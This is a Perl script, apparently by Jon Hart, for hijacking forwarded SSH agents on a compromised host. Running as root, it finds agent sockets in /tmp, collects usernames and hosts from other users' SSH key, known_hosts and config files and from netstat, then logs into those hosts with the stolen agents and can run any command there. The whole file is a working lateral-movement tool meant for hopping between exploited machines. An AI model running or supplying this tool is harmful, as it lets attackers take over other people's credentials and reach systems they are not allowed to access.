#!/usr/bin/perl -w # # It is a somewhat not so-well-known fact that, when you use ssh-agent # and enable agent forwarding, untrusted privileged (i.e., root) users on # hosts that you ssh to can hijack your agent and connect to all of the hosts # where you've got ssh keys working. # # Useful for boxes that you have exploited to hop to other boxes for further # local exploitation. # # Lesson: trust nobody. # # Work in progress # # Jon Hart # # use strict; use diagnostics; use warnings; use Getopt::Long; my %opts = (); GetOptions( \%opts, 'bruteforce', 'command', 'debug', 'help', 'test', 'verbose') or &usage() && die("Unknown option: $!\n"); my %socks; # stores just SSH_AUTH_SOCK files my %users_to_socks; # stores mappings of SSH_AUTH_SOCK files to users my %hosts; # stores just hosts my %users_to_hosts; # mappings of users to hosts they may have connected to my %users; # stores just users if (defined($opts{'help'})) { &usage; exit(0); } # this must be done first. without SSH_AUTH_SOCKs, we are screwed &sock_user_find; &confs_rip; &netstat_hosts_find; unless (defined($users{'root'})) { $users{'root'} = 1; } if (defined($opts{'bruteforce'})) { &verbose_print("Starting bruteforce with " . (keys %hosts) . " hosts, " . (keys %users) . " users, and " . (keys %socks) . " SSH_AUTH_SOCKs\n"); foreach my $host (keys %hosts) { foreach my $user (keys %users) { foreach my $sock (keys %socks) { &agent_ssh($host, $user, $sock); } } } } else { if (defined($opts{'verbose'})) { my $users = 0; my $hosts = 0; my $socks = 0; my %counted = (); foreach my $user (keys %users_to_socks) { unless(defined($counted{$user})) { $counted{$user}++; $users++; } foreach my $host (keys %{$users_to_hosts{$user}}) { unless(defined($counted{$host})) { $counted{$host}++; $hosts++; } foreach my $sock (keys %{$users_to_socks{$user}}) { unless(defined($counted{$sock})) { $counted{$sock}++; $socks++; } } } } &verbose_print("Starting non-bruteforce with $users users, $hosts hosts and $socks SSH_AUTH_SOCKs\n"); } foreach my $user (keys %users_to_socks) { foreach my $host (keys %{$users_to_hosts{$user}}) { foreach my $sock (keys %{$users_to_socks{$user}}) { &agent_ssh($host, $user , $sock); } } } } sub agent_ssh { my $host = shift; my $user = shift; my $agent = shift; my $cmd = 'id > /dev/null'; &verbose_print("Trying $user\@$host with $agent\n"); if (defined($opts{'command'})) { $cmd = $opts{'command'}; } my $run = "SSH_AUTH_SOCK=$agent ssh -qq -o 'StrictHostKeyChecking no' -o 'PreferredAuthentications publickey' $user\@$host \"$cmd\""; my $ret = 0; if (defined($opts{'test'})) { print("$run\n"); return; } else { $ret = system($run); } if ($ret == 0) { print("Compromised $user\@$host via $agent\n"); } } ### # given the users we currently know of, rip through their ~/.ssh/* # looking for other possible user names... ### sub confs_rip { my $found_users = 0; my $found_hosts = 0; my %tmp_users = %users; foreach my $user (keys %tmp_users) { my @pw = getpwnam($user); my $home = $pw[7]; &verbose_print("Finding hosts and users from authorized_keys and pubkey files\n"); # parse authorized_keys* and *.pub, which all have the same format... opendir(SSH_CONF, "$home/.ssh") or &debug_print("Couldn't open $home/.ssh for listing: $!\n"); foreach (grep { /^(authorized_keys2?|\S+\.pub)/ && -f "$home/.ssh/$_" } readdir(SSH_CONF)) { my $file = "$home/.ssh/$_"; if (-f $file) { open(FILE, "$file") or &debug_print("Failed to open $file: $!\n") && next; &debug_print("Pulling users and hosts from $file\n"); while () { if (/(\S+)\@(\S+)\s*$/) { my $tmp_user = $1; my $tmp_host = $2; $found_users++; $found_hosts++; $users{$tmp_user}++; $hosts{$tmp_host}++; $users_to_hosts{$tmp_user}{$tmp_host}++; $users_to_hosts{$user}{$tmp_host}++; } } close(FILE); } } closedir(SSH_CONF); &verbose_print("Found $found_users users and $found_hosts hosts\n"); $found_users = 0; $found_hosts = 0; # parse known_hosts &verbose_print("Finding hosts from known_hosts files\n"); foreach my $hosts_file ("$home/.ssh/known_hosts", "$home/.ssh/known_hosts2") { if (-f $hosts_file) { open(HOSTS, "$hosts_file") or &debug_print("Failed to open $hosts_file: $!\n") && next; &debug_print("Pulling hosts from $hosts_file\n"); while () { if (/^\|/) { # new hashed format... next; } elsif (/^(\S+)\s+ssh/) { my $tmp = $1; foreach (split(/,/, $tmp)) { $found_hosts++; $hosts{$_}++; $users_to_hosts{$user}{$_}++; } } } close(HOSTS); } } &verbose_print("Found $found_hosts hosts\n"); $found_hosts = 0; $found_users = 0; # parse ~/.ssh/config files &verbose_print("Finding users and hosts from ~/.ssh/config\n"); my $config = "$home/.ssh/config"; if (-f $config) { open(CONF, "$config") or &debug_print("Failed to open $config: $!\n") && next; &debug_print("Pulling users from $config\n"); while () { chomp; if (/\s*User\s+(\S+)/i) { my $tmp_user = $1; $found_users++; $users{$tmp_user}++; } if (/\s*Host(|Name)\s+([^\*\?]+)/i) { my $tmp_host = $2; $found_hosts++; $hosts{$tmp_host}++; $users_to_hosts{$user}{$tmp_host}++; } } close(CONF); } &verbose_print("Found $found_users users and $found_hosts hosts\n"); } } ### # use netstat to find hosts that are ssh'd in or are ssh'd to ### sub netstat_hosts_find { my $found_hosts = 0; &verbose_print("Finding hosts with netstat -an\n"); open(NETSTAT, "netstat -an|") or die("Couldn't run netstat: $!\n"); while () { if (/ESTABLISHED/) { if (/((\d{1,3}\.){3}\d{1,3})[\.|:](\d+)\s+((\d{1,3}\.){3}\d{1,3})[\.|:](\d+)/) { my $src_host = $1; my $src_port = $3; my $dst_host = $4; my $dst_port = $6; if ($src_port eq '22') { $found_hosts++; $hosts{$src_host}++; } if ($dst_port eq '22') { $found_hosts++; $hosts{$dst_host}++; } } } } close(NETSTAT); &verbose_print("Found $found_hosts hosts\n"); $found_hosts = 0; &verbose_print("Finding hosts with netstat -a\n"); open(NETSTAT, "netstat -a|") or die("Couldn't run netstat: $!\n"); while () { if (/ESTABLISHED/) { if (/(\S+)[\.|:](\S+)\s+(\S+)[\.|:](\S+)/) { my $src_host = $1; my $src_port = $2; my $dst_host = $3; my $dst_port = $4; if ($src_port eq 'ssh') { $found_hosts++; $hosts{$src_host}++; } if ($dst_port eq 'ssh') { $found_hosts++; $hosts{$dst_host}++; } } } } close(NETSTAT); &verbose_print("Found $found_hosts hosts\n"); } #### # find all the SSH_AUTH_SOCKs, and the associated users #### sub sock_user_find { &verbose_print("Finding SSH_AUTH_SOCKs\n"); opendir(TMP, "/tmp") or die("Couldn't open /tmp for listing: $!\n"); foreach my $agent_dir (grep { /^ssh-/ && -d "/tmp/$_" } readdir(TMP)) { opendir(SSH_AGENT, "/tmp/$agent_dir") or next; foreach my $agent (grep { -S "/tmp/$agent_dir/$_" } readdir(SSH_AGENT)) { my $agent_socket = "/tmp/$agent_dir/$agent"; &debug_print("Pulling users from $agent_socket\n"); my @stat = stat($agent_socket); my @pw = getpwuid($stat[4]); $users_to_socks{$pw[0]}{$agent_socket}++; $socks{$agent_socket}++; $users{$pw[0]}++; } closedir(SSH_AGENT); } closedir(TMP); &verbose_print("Found " . (keys %socks) . " SSH_AUTH_SOCKs and " . (keys %users) . " users\n"); } sub usage { print < /dev/null') [-d | --debug] # turn on debug output [-t | --test] # "test" mode. simply print out what would've been done [-v | --verbose] # turn on verbose output EOF } sub debug_print { my $msg = shift @_; if (defined($opts{'debug'})) { print "$msg"; } } sub verbose_print { my $msg = shift @_; if (defined($opts{'verbose'})) { print "$msg"; } }